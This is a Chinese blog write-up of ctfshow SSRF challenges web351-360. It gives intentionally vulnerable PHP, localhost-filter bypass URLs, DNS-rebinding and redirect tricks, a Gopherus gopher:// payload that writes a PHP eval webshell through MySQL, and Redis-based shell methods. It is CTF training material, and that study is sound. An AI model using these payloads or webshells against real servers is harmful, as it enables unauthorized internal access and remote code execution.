ctfshow—SSRF详解

最新推荐文章于 2024-05-28 15:09:40 发布
最新推荐文章于 2024-05-28 15:09:40 发布
阅读量1.3k 收藏 3
点赞数 4
分类专栏： 刷题记录 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/cosmoslin/article/details/120456960
版权

web 351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

前置

curl_init — 初始化 cURL 会话，返回 cURL 句柄，供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。 
注意：如果设置了 open_basedir，file 协议会被 cURL 禁用。 
curl_setopt — 设置 cURL 传输选项
curl_exec — 执行 cURL 会话

解题

我们直接访问flag.php，显示非本地用户禁止访问，两种方法

url=http://127.0.0.1/flag.php
url=file:///var/www/html/flag.php

web352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

前置

parse_url — 解析 URL，返回其组成部分，本函数解析一个 URL 并返回一个关联数组，包含在 URL 中出现的各种组成部分。

解题

过滤了localhost和127.0.0

十六进制
  url=http://0x7F.0.0.1/flag.php

八进制
  url=http://0177.0.0.1/flag.php

10 进制整数格式
  url=http://2130706433/flag.php

16 进制整数格式，还是上面那个网站转换记得前缀0x
  url=http://0x7F000001/flag.php

还有一种特殊的省略模式
  127.0.0.1写成127.1

用CIDR绕过localhost
  url=http://127.127.127.127/flag.php

还有很多方式
  url=http://0/flag.php
  url=http://0.0.0.0/flag.php

在线进制转换

web353

同上

web354

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这次ban掉了0和1

DNS重绑定的绕过：

1·修改自己域名的a记录，改成127.0.0.1

2·这个网站a记录指向127.0.0.1 可以直接利用

url=http://sudo.cc/flag.php

3.302跳转绕过
在自己网站主页加上这个
<?php
header("Location:http://127.0.0.1/flag.php");

web355

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这次是需要host长度小于等于5，使用127.1省略绕过

url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限定host长度小于等于3

url=http://0/flag.php
  • 0在 linux 系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

前置

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

即不能是私有地址，这里我们需要一个公网ip

利用302跳转和dns重绑定都可以。

dns重绑定(多试几次)

web358

  <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则匹配：以以http://ctf.开头，以show结尾。

以show结尾比较好办，要么#show，要么?a=show这样的都可以。

以http://ctf.开头的话，加一个@127.0.0.1绕过，这样parse_url解析出来的host是127.0.0.1。

考虑到ftp：ftp://user[:pass]@ip[:port]/path，因此前面的ctf.会被解析成user。

url=http://ctf.@127.0.0.1/flag.php?show

web359

提示：打无密码的mysql

image-20210923180231475

发现有个returl参数，抓包后发现可以随意更改url，这应该就是我们的利用点了

生成一句话

python gopherus.py --exploit mysql

结果

Give MySQL username: root                   
Give query to execute: select '<?php eval($_POST[pass]); ?>' INTO OUTFILE '/var/www/html/2.php';
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01

把_后面那一大段内容再url编码一次，因为curl会默认解码一次

发包，再访问2.php，利用pass写入命令即可

web360

提示：打redis

ssrf打redis，基本上四种攻击方式：

  • 写webshell
  • 写ssh公钥
  • 写contrab计划任务反弹shell
  • 主从复制

具体打redis的原理参考这篇文章：
浅析Redis中SSRF的利用

python gopherus.py --exploit redis

一句话

<?php eval($_POST[pass]); ?>

访问shell.php（默认生成）

进行rce

Snakin_ya
关注
  • 4
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
ctfshow-ssrf
孤桜懶契
08-21 284
前言 记录web的题目wp，慢慢变强，铸剑。 SSRF SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统） web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=cu
WebLogic SSRF 及漏洞修复
11-25
WebLogic SSRF 及漏洞修复方法 CVE-2014-4210 10.0.2,10.3.6
CTFshow——SSRF
D.MIND 的博客
02-25 825
文章目录web351——web352、353——黑名单过滤web354——DNS-Rebinding攻击绕过web355—— web351—— <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $resul
ssrf原理及ctfshow例题
最新发布
2301_80499103的博客
05-28 768
1.ssrf的原理SSRF (Server-Side Request Forgery，服务器端请求伪造) 是一种由攻击者构造请求，由服务端发起请求的安全漏洞，一般情况下，SSRF攻击的目标是外网无法访问的内网系统，也正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务，当作跳板进行攻击。攻击者利用了可访问Web服务器（A）的特定功能 构造恶意payload；
ctfshow SSRF
..
02-28 999
web 351 直接读取本地文件 url=file:///var/www/html/flag.php url=127.0.0.1/flag.php web352 这里要求是http或者https协议，只需要满足这个就可以了。 url=http://localhost/flag.php url=http://127.0.0.1/flag.php url=http://127.1/flag.php url=http://0.0.0.0/flag.php url=http:/...
CTFshow SSRF
starttv的博客
11-23 928
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
ctfshow ssrf
weixin_52240463的博客
01-23 3262
ctfshow ssrf
SSRF bible. Cheatsheet
08-06
SSRF bible. Cheatsheet SSRF attack and sockets presentation.
第一节 SSRF原理介绍-01
09-15
SSRF漏洞原理介绍 SSRF（Server-Side Request Forgery，服务端请求伪造）是一种构造请求，由服务端发起请求的安全漏洞。客户端服务端内网资源一般情况下，SSRF的目标就是与外部隔离的内网资源。 SSRF漏洞定义: ...
盲SSRF(通过时间判断) 点击保存头像,开启burpsuite抓包
10-07
SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种常见的网络安全漏洞，它允许攻击者利用服务器的网络权限发起对外部资源的请求。在这个场景中，通过时间延迟的判断方法，攻击者能够探测内网中的某些...
PHP FILTER_VALIDATE_IP 过滤器
weixin_34403693的博客
06-25 376
FILTER_VALIDATE_IP 过滤器把值作为 IP 进行验证，用于验证 IP 是否合法，支持 IPV6 验证 例子 <?php $ip = "192.168.0.1"; if(!filter_var($ip, FILTER_VALIDATE_IP)) { echo "IP is not valid"; } else { echo "IP is v...
ctfshow--ssrf
ing_end的博客
04-23 3859
SSRF概述及其危害 *SSRF概述 ​ 强制服务器发送一个攻击者的请求 ​ 互联网上的很多web应用提供了从其他服务器（也可以是本地)获取数据的功能。使用用户指定的URL，web应用可以获取图片（载入图片）、文件资源（下载或读取)。如下图所示，百度提供识图功能。如果链接可以访问任意请求，则存在ssrf漏洞 ​ 用户可以从本地或者URL的方式获取图片资源，交给百度识图处理。如果提交的是URL地址，该应用就会通过URL寻找图片资源。如果web 应用开放了类似于百度识图这样的功能，并且对用户提供的URL和远端
ctfshow-SSRF
njh18790816639的博客
04-19 490
SSRF 其全称：Server—Side Request Forgery :服务器端请求伪造 是一种由攻击者构造形成的由 服务器端发起请求的一个安全漏洞。一般情况下，攻击的目是外网没有办法访问的内网。 很多WEb应用都其提供了从其他服务器上获取数据的功能，使用指定的url,web 应用可以获取图片，下载文件，读取文件等。这个功能如果被恶意使用，可以利用存在缺陷的web引用做为代理，攻击远程和本地服务器。 web351 <?php error_reporting(0); highlight_file(_
CTFSHOW-SSRF
m0_74456293的博客
04-09 242
CTFSHOW-SSRF
ctfshow ssrf篇
m0_62422842的博客
07-10 677
ctfshow入门中的ssrf篇
CTFSHOW SSRF篇
羽的博客
01-05 4404
了前八道题，因为题目上的比较匆忙，提前做下就当测试题目了。 web351 存在一个flag.php页面，访问会返回不是本地用户的消息，那肯定是要让我们以本地用户去访问127.0.0.1/flag.php payload:url=http://127.0.0.1/flag.php web352 过滤了localhost和127.0.0。还是有很多方法的，比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制 转进制的地址https://tool.520101.com/wangluo/
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值